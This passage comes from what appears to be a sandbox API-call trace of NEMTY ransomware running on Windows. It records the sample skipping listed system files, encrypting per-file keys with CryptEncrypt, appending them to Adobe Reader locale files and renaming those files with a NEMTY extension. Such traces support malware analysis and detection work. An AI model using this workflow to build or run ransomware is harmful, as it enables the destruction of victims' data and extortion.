10.0\\Reader\\Locale\\it_IT\\Acroform.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\acroform.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Acroform.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\acroform.ita._nemty_kgobjgd_")) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.413] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.ITA", cAlternateFileName="ADOBEC~1.ITA")) returned 1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2=".") returned 1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="..") returned 1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="...") returned 1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="windows") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="rsa") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="NTDETECT.COM") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="ntldr") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="MSDOS.SYS") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="IO.SYS") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="boot.ini") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="boot.ini") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="AUTOEXEC.BAT") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="ntuser.dat") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="desktop.ini") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="CONFIG.SYS") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="RECYCLER") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="BOOTSECT.BAK") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="bootmgr") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="programdata") returned -1 [0178.413] lstrcmpiW (lpString1="AdobeCollabSync.ITA", lpString2="appdata") returned -1 [0178.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ITA", lpUsedDefaultChar=0x0) returned 19 [0178.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0178.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ITA", lpUsedDefaultChar=0x0) returned 19 [0178.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0178.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ITA", lpUsedDefaultChar=0x0) returned 19 [0178.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ITA", lpUsedDefaultChar=0x0) returned 19 [0178.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0178.414] Sleep (dwMilliseconds=0x5) [0178.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dfd9290, dwHighDateTime=0x1d561e8)) [0178.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dfd9290, dwHighDateTime=0x1d561e8)) [0178.415] GetLastError () returned 0x0 [0178.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.415] GetLastError () returned 0x0 [0178.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.415] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.415] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.416] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0178.416] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="BiEKoBcypsgDwVpQqeIACpA/o4+Zh+xBCe+bpcGOt1a4NghfzXw1TfgKaFefosdG\r\nXwL5bBGM2896PYxskLSa274G1c4O6ipJc3NnW9Nn5qf0lTurhCU8oNZ3FRxObt5/\r\ng4uNiR++Idpbx5A+cBg77aaRIZWpUhrYHKGLtZq+lxiLcyarRkoLCaJxKFr9WqMO\r\ncVrVn36Z28OULcwwx8sVBle02USU8+cLEsAU0lTzFvBU8P3dSb/afHSIkevMK8r/\r\ndNmLFuincWbWwFvmvFnL+O2524fgIaiu07+dk+dflqK7cU/3Omhzoiz/EUNb8PZf\r\nHJ7IYljtnUxVGNSQZZq0lQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0178.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\AdobeCollabSync.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\adobecollabsync.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.416] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0178.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0178.416] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.416] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0178.418] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.418] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0178.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.418] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0178.418] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.419] CloseHandle (hObject=0x2e8) returned 1 [0178.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0178.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0178.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0178.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0178.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.419] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\AdobeCollabSync.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\adobecollabsync.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\AdobeCollabSync.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\adobecollabsync.ita._nemty_kgobjgd_")) returned 1 [0178.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0178.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.420] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.ITA", cAlternateFileName="")) returned 1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2=".") returned 1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="..") returned 1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="...") returned 1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="windows") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="rsa") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="NTDETECT.COM") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="ntldr") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="MSDOS.SYS") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="IO.SYS") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="boot.ini") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="boot.ini") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="AUTOEXEC.BAT") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="ntuser.dat") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="desktop.ini") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="CONFIG.SYS") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="RECYCLER") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="BOOTSECT.BAK") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="bootmgr") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="programdata") returned -1 [0178.420] lstrcmpiW (lpString1="Annots.ITA", lpString2="appdata") returned -1 [0178.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.421] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.421] Sleep (dwMilliseconds=0x5) [0178.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dfff3f0, dwHighDateTime=0x1d561e8)) [0178.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dfff3f0, dwHighDateTime=0x1d561e8)) [0178.430] GetLastError () returned 0x0 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.431] GetLastError () returned 0x0 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.431] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.431] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.431] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.431] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="m7C8GCEHAiRdb+sAAKvxS24ZKG/BFC+JHiXGtv5NKNCV/ZMr59EKa3P/ITFLbNnk\r\nzGQJpnPmfVCxAlk0+54805DZHG1k/2dHyDUf06Td1ilCYT28cIs8JKn1JRD2rcBp\r\nhLM+Xe7qe0gybZ4ThwwWYPGiFxAqFVT5Ni5i9HewxeYqqQ0MM7abWigDIR0y8hWM\r\nwfYTkDtA9ao9dvPylFAmgYouHOEoZ9YqtJPJNAJ5ztLD/yfuMOod5xifRauGFJe6\r\nwAhoucroNGfng5N3LeNnWuRNgJYgXTjEZLAUrL/6NlJYlYUg+L9xm1rjBFvAymUc\r\nbnkfPxTt2xIp6RIebwGCHQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Annots.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\annots.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.432] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=509440) returned 1 [0178.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.432] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.432] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, 